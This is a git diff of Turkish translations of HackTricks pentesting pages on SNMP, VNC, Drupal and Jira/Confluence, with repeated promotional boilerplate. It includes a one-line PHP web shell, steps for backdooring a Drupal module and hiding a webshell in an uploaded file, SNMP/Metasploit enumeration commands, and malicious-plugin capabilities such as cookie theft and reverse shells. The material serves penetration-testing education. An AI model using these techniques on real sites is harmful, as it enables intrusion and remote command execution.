Daha önce belirtildiği gibi, **MIB'de saklanan bilgilere erişmek için sürüm 1 ve 2/2c'de topluluk dizesini, sürüm 3'te ise kimlik bilgilerini bilmeniz gerekir.**\
**2 tür topluluk dizesi** vardır:
@ -152,11 +152,11 @@ Ağ yönetimi alanında, belirli yapılandırmalar ve parametreler kapsamlı izl
### Erişim Ayarları
**Tam OID ağacına** erişimi sağlayan iki ana ayar vardır; bu, ağ yönetiminde kritik bir bileşendir:
**Tam OID ağacına** erişimi sağlayan iki ana ayar, ağ yönetiminde kritik bir bileşendir:
1. **`rwuser noauth`**, kimlik doğrulama gerektirmeden OID ağacına tam erişim izni vermek için ayarlanmıştır. Bu ayar basittir ve sınırsız erişim sağlar.
2. Daha spesifik kontrol için erişim şu şekilde verilebilir:
* **`rwcommunity`** **IPv4** adresleri için ve
1. **`rwuser noauth`** ayarı, kimlik doğrulama gerektirmeden OID ağacına tam erişim izni vermek için ayarlanmıştır. Bu ayar basittir ve sınırsız erişim sağlar.
2. Daha spesifik kontrol için, erişim şu şekilde verilebilir:
* **`rwcommunity`** **IPv4** adresleri için, ve
* **`rwcommunity6`** **IPv6** adresleri için.
Her iki komut da bir **topluluk dizesi** ve ilgili IP adresi gerektirir, talebin kaynağından bağımsız olarak tam erişim sunar.
@ -191,9 +191,9 @@ Eğer SNMP hizmeti içinde **değerler yazmanıza** izin veren bir **dize** vars
## **Kapsamlı SNMP**
[Braa](https://github.com/mteg/braa), toplu bir SNMP tarayıcısıdır. Böyle bir aracın amaçlanan kullanımı, elbette, SNMP sorguları yapmaktır ancak net-snmp'den snmpwalk'tan farklı olarak, aynı anda onlarca veya yüzlerce ana bilgisayarı sorgulayabilir ve tek bir işlemde çalışır. Böylece, çok az sistem kaynağı tüketir ve taramayı ÇOK hızlı yapar.
[Braa](https://github.com/mteg/braa) bir kütle SNMP tarayıcısıdır. Böyle bir aracın amaçlanan kullanımı, elbette, SNMP sorguları yapmaktır ancak net-snmp'den snmpwalk'tan farklı olarak, aynı anda onlarca veya yüzlerce ana bilgisayarı sorgulayabilir ve tek bir işlemde çalışır. Böylece, çok az sistem kaynağı tüketir ve taramayı ÇOK hızlı yapar.
Braa, kendi SNMP yığınına sahiptir, bu nedenle net-snmp gibi herhangi bir SNMP kütüphanesine ihtiyaç duymaz.
Braa, KENDİ snmp yığınına sahiptir, bu nedenle net-snmp gibi herhangi bir SNMP kütüphanesine ihtiyaç duymaz.
**Sözdizimi:** braa \[Topluluk-dizesi]@\[SNMP sunucusunun IP'si]:\[iso id]
```bash
@ -229,7 +229,7 @@ grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" *.snmp
```
## SNMP değerlerini değiştirme
Değerleri **değiştirmek** için _**NetScanTools**_ kullanabilirsiniz. Bunu yapmak için **özel dizeyi** bilmeniz gerekecek.
Değerleri değiştirmek için _**NetScanTools**_ kullanabilirsiniz. Bunu yapmak için **özel dizeyi** bilmeniz gerekecek.
## Spoofing
@ -241,7 +241,7 @@ Eğer yalnızca bazı IP'lerin SNMP hizmetini sorgulamasına izin veren bir ACL
* snmpd.conf
* snmp-config.xml
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hackleme kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
@ -292,7 +292,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.p
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -9,15 +9,15 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.p
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı yazılı ve sözlü Lehçe gereklidir_).
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -38,7 +38,7 @@ Metasploit çerçevesi, cihaz yapılandırmalarının çıkarılmasını kolayla
* Hedef cihazın IP'si (**RHOSTS**)
* Yapılandırma dosyaları için hedef yol (**OUTPUTDIR**)
Yapılandırma tamamlandığında, bu modül cihaz ayarlarının belirtilen bir klasöre doğrudan indirilmesini sağlar.
Yapılandırma tamamlandığında, bu modül cihaz ayarlarını doğrudan belirtilen bir klasöre indirmeyi sağlar.
#### `snmp_enum`
@ -52,23 +52,23 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hackleme kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS Hackleme öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hackleme öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hackleme ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hackleme ipuçlarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,23 +1,23 @@
# 5800,5801,5900,5901 - Pentesting VNC
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>HackTricks'i Destekleyin</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hack etmek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -35,7 +35,7 @@ PORT STATE SERVICE
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p <PORT> <IP>
msf> use auxiliary/scanner/vnc/vnc_none_auth
```
### [**Kaba kuvvet**](../generic-methodologies-and-resources/brute-force.md#vnc)
### [**Brute force**](../generic-methodologies-and-resources/brute-force.md#vnc)
## Kali kullanarak vnc'ye bağlan
```bash
@ -60,9 +60,9 @@ Aracı burada da kolay erişim için kaydediyorum:
* `port:5900 RFB`
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}

View file

@ -9,7 +9,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grt
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
@ -18,7 +18,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grt
## PHP Filtre Modülü ile
{% hint style="warning" %}
Eski Drupal sürümlerinde **(sürüm 8'den önce)**, admin olarak giriş yapmak ve **`PHP filter` modülünü etkinleştirmek** mümkündü; bu modül "Gömülü PHP kodu/parçalarının değerlendirilmesine izin verir." Ancak sürüm 8'den itibaren bu modül varsayılan olarak yüklenmemektedir.
Eski Drupal sürümlerinde **(sürüm 8'den önce)**, bir admin olarak giriş yapmak ve **`PHP filter` modülünü etkinleştirmek** mümkündü; bu modül "Gömülü PHP kodu/parçalarının değerlendirilmesine izin verir." Ancak sürüm 8'den itibaren bu modül varsayılan olarak yüklenmemektedir.
{% endhint %}
**php eklentisinin yüklü olması gerekir** ( _/modules/php_ adresine erişerek kontrol edin ve **403** dönerse, **mevcuttur**, eğer **bulunamazsa**, o zaman **php eklentisi yüklü değildir**)
@ -35,19 +35,19 @@ Son olarak, yeni oluşturulan düğüme erişin:
```bash
curl http://drupal-site.local/node/3
```
## PHP Filter Modülünü Kurun
## PHP Filtre Modülünü Kurun
{% hint style="warning" %}
Mevcut sürümlerde, varsayılan kurulumdan sonra yalnızca web erişimi ile eklenti kurmak artık mümkün değildir.
{% endhint %}
**8 ve sonrası sürümlerde,** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **modülü varsayılan olarak kurulmamıştır**. Bu işlevselliği kullanmak için **modülü kendimiz kurmamız gerekecek**.
**8 ve sonrası sürümlerde,** [**PHP Filtre**](https://www.drupal.org/project/php/releases/8.x-1.1) **modülü varsayılan olarak kurulmamıştır**. Bu işlevselliği kullanmak için **modülü kendimiz kurmamız gerekecek**.
1. Modülün en son sürümünü Drupal web sitesinden indirin.
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
2. İndirdikten sonra **`Yönetim`** > **`Raporlar`** > **`Mevcut güncellemeler`** bölümüne gidin.
3. **`Gözat`** butonuna tıklayın, indirdiğimiz dosyayı seçin ve ardından **`Kur`** butonuna tıklayın.
4. Modül kurulduktan sonra, **`İçerik`** sekmesine tıklayıp **yeni bir temel sayfa oluşturun**, Drupal 7 örneğinde yaptığımız gibi. Yine, **`Metin formatı`** açılır menüsünden **`PHP kodu`nu seçtiğinizden emin olun**.
3. **`Gözat`** butonuna tıklayın, indirdiğimiz dizinden dosyayı seçin ve ardından **`Kur`** butonuna tıklayın.
4. Modül kurulduktan sonra, **`İçerik`** butonuna tıklayıp **yeni bir temel sayfa oluşturabiliriz**, Drupal 7 örneğinde yaptığımız gibi. Yine, **`Metin biçimi`** açılır menüsünden **`PHP kodu`** seçtiğinizden emin olun.
## Arka Kapılı Modül
@ -62,7 +62,7 @@ Arka kapılı bir modül, **mevcut bir modüle bir shell ekleyerek** oluşturula
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
```
* Aşağıdaki içerik ile bir **PHP web shell** oluşturun:
* İçeriği ile bir **PHP web shell** oluşturun:
```php
<?php
system($_GET["cmd"]);
@ -80,37 +80,37 @@ RewriteBase /
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
```
* Web sitesine **yönetici erişimimiz** olduğunu varsayarsak, yan menüde **`Yönet`** ve ardından **`Genişlet`** seçeneğine tıklayın. Sonra, **`+ Yeni modül yükle`** butonuna tıklayın ve bizi yükleme sayfasına yönlendirecek, örneğin `http://drupal-site.local/admin/modules/install` Backdoored Captcha arşivine gidin ve **`Yükle`** butonuna tıklayın.
* Varsayıyoruz ki web sitesine **yönetici erişimimiz** var, yan menüde **`Yönet`** ve ardından **`Genişlet`** seçeneğine tıklayın. Sonra **`+ Yeni modül yükle`** butonuna tıklayın ve bizi yükleme sayfasına yönlendirecek, örneğin `http://drupal-site.local/admin/modules/install` Geri kapatılmış Captcha arşivine gidin ve **`Yükle`** butonuna tıklayın.
* Yükleme başarılı olduktan sonra, komutları çalıştırmak için **`/modules/captcha/shell.php`** adresine gidin.
## Drupal'ı Konfigürasyon senkronizasyonu ile Backdoorlama <a href="#backdooring-drupal" id="backdooring-drupal"></a>
## Drupal'ı Yapı Senkronizasyonu ile Geri Kapama <a href="#backdooring-drupal" id="backdooring-drupal"></a>
**Paylaşan:** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
### Bölüm 1 (_Media_ ve _Media Library_'nin etkinleştirilmesi)
### Bölüm 1 (_Media_ ve _Media Library_ aktivasyonu)
_Genişlet_ menüsünde (/admin/modules), zaten yüklenmiş gibi görünen eklentileri etkinleştirebilirsiniz. Varsayılan olarak, _Media_ ve _Media Library_ eklentileri etkin görünmüyor, bu yüzden bunları etkinleştirelim.
Etkinleştirmeden önce:
Aktivasyondan önce:
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Etkinleştirdikten sonra:
Aktivasyondan sonra:
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Bölüm 2 (_Configuration synchronization_ özelliğinden yararlanma) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
### Bölüm 2 (_Yapı Senkronizasyonu_ özelliğinden yararlanma) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
Drupal konfigürasyon girişlerini dökmek (ihracat) ve yüklemek (ithalat) için _Configuration synchronization_ özelliğinden yararlanacağız:
Drupal yapı girişlerini dökme (ihracat) ve yükleme (ithalat) için _Yapı Senkronizasyonu_ özelliğinden yararlanacağız:
* /admin/config/development/configuration/single/export
* /admin/config/development/configuration/single/import
**Patch system.file.yml**
İlk giriş olan `allow_insecure_uploads`'ı yamanlamaya başlayalım:
İlk giriş `allow_insecure_uploads`'ı yamanlayarak başlayalım:
Dosya: system.file.yml
```
@ -138,9 +138,9 @@ allow_insecure_uploads: true
```
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Patch field.field.media.document.field\_media\_document.yml**
**Yamanla field.field.media.document.field\_media\_document.yml**
Sonra, ikinci girişi `file_extensions`'ı şu şekilde yamanız gerekir:
Ardından, ikinci girişi `file_extensions` olarak yamanlayın:
Dosya: field.field.media.document.field\_media\_document.yml
```
@ -243,7 +243,7 @@ programs whose distribution conditions are different, write to the author
**Bölüm 3.2 (dosya yükle LICENSE.txt)**
Ardından, bir lisans dosyası içinde gizlenmiş bir Webshell yüklemek için tekrar _Belge Ekle_ (/media/add/document) özelliğini kullanıyoruz.
Ardından, bir lisans dosyası içinde gizli bir Webshell yüklemek için tekrar _Belge Ekle_ (/media/add/document) özelliğini kullanıyoruz.
<figure><img src="../../../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure>
@ -255,7 +255,7 @@ Ardından, bir lisans dosyası içinde gizlenmiş bir Webshell yüklemek için t
Son bölüm, Webshell ile etkileşimde bulunmaktan oluşmaktadır.
Aşağıdaki ekran görüntüsünde gösterildiği gibi, Webshell'imiz tarafından beklenen çerez tanımlı değilse, bir Web tarayıcısı aracılığıyla dosyayı sorguladığımızda aşağıdaki sonucu alıyoruz.
Aşağıdaki ekran görüntüsünde gösterildiği gibi, Webshell'imiz tarafından beklenen çerez tanımlı değilse, bir Web tarayıcısı aracılığıyla dosyayı sorguladığımızda aşağıdaki sonucu alırız.
<figure><img src="../../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
@ -278,7 +278,7 @@ GCP Hacking öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grte.
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -1,8 +1,8 @@
# Jira & Confluence
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -10,22 +10,22 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.p
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking ipuçlarını paylaşın,** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek.
* **Hacking ipuçlarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hack etmek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
## Yetkileri Kontrol Et
Jira'da, **yetkiler herhangi bir kullanıcı tarafından**, kimlik doğrulaması yapılmış veya yapılmamış, `/rest/api/2/mypermissions` veya `/rest/api/3/mypermissions` uç noktaları aracılığıyla kontrol edilebilir. Bu uç noktalar kullanıcının mevcut yetkilerini ortaya koyar. **Kimlik doğrulaması yapılmamış kullanıcıların yetkilere sahip olması** önemli bir endişe yaratır ve bu, potansiyel olarak bir **güvenlik açığı** olarak değerlendirilebilir. Benzer şekilde, **kimlik doğrulaması yapılmış kullanıcılar için beklenmedik yetkiler** de bir **açığı** vurgular.
Jira'da, **yetkiler herhangi bir kullanıcı tarafından**, kimlik doğrulaması yapılmış veya yapılmamış, `/rest/api/2/mypermissions` veya `/rest/api/3/mypermissions` uç noktaları aracılığıyla kontrol edilebilir. Bu uç noktalar kullanıcının mevcut yetkilerini ortaya koyar. **Kimlik doğrulaması yapılmamış kullanıcıların yetkilere sahip olması** önemli bir endişe yaratır ve bu, potansiyel olarak bir **güvenlik açığı** anlamına gelir. Benzer şekilde, **kimlik doğrulaması yapılmış kullanıcılar için beklenmedik yetkiler** de bir **açığı** vurgular.
**1 Şubat 2019**'da önemli bir **güncelleme** yapıldı ve 'mypermissions' uç noktasının bir **'permission' parametresi** içermesi gerektiği belirtildi. Bu gereklilik, sorgulanan yetkileri belirterek **güvenliği artırmayı** amaçlamaktadır: [buradan kontrol edin](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
**1 Şubat 2019**'da önemli bir **güncelleme** yapıldı ve 'mypermissions' uç noktasının bir **'permission' parametresi** içermesi gerektiği belirtildi. Bu gereklilik, sorgulanan yetkilerin belirtilmesiyle **güvenliği artırmayı** amaçlamaktadır: [buradan kontrol edin](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
* ADD\_COMMENTS
* ADMINISTER
@ -85,7 +85,7 @@ Bu [**blogda**](https://cyllective.com/blog/posts/atlassian-audit-plugins) belir
* [REST Eklenti Modülü ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/rest-plugin-module): RESTful API uç noktalarınıığa çıkarır
* [Servlet Eklenti Modülü ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/servlet-plugin-module/): Bir eklentinin parçası olarak Java servletlerini dağıtır
* [Makro Eklenti Modülü ↗](https://developer.atlassian.com/server/confluence/macro-module/): Confluence Makrolarını, yani parametreli HTML şablonlarını uygular
* [Makro Eklenti Modülü ↗](https://developer.atlassian.com/server/confluence/macro-module/): Confluence Makrolarını uygular, yani parametreli HTML şablonları
Bu, makro eklenti türüne bir örnektir:
```java
@ -122,22 +122,22 @@ Bir XSS bulunduğunda, [**bu github repo**](https://github.com/cyllective/XSS-Pa
Kötü niyetli bir eklentinin gerçekleştirebileceği bazı eylemler şunlardır:
* **Yönetimcilerden Eklentileri Gizleme**: Kötü niyetli eklentiyi bazı ön yüz javascript'i enjekte ederek gizlemek mümkündür.
* **Yönetimcilerden Eklentileri Gizleme**: Kötü niyetli eklentiyi bazı ön javascript'i enjekte ederek gizlemek mümkündür.
* **Ekleri ve Sayfaları Sızdırma**: Tüm verilere erişim sağlamak ve sızdırmak.
* **Oturum Jetonlarını Çalma**: Yanıt içinde başlıkları (çerezle birlikte) yansıtan bir uç nokta eklemek ve bunu iletişim kuracak bazı javascript ile çerezleri sızdırmak.
* **Oturum Token'larını Çalma**: Yanıt içinde başlıkları (çerezle birlikte) yansıtan bir uç nokta eklemek ve bunu iletişim kuracak bazı javascript ile çerezleri sızdırmak.
* **Komut Çalıştırma**: Elbette, kod çalıştıracak bir eklenti oluşturmak mümkündür.
* **Ters Shell**: Ya da ters bir shell almak.
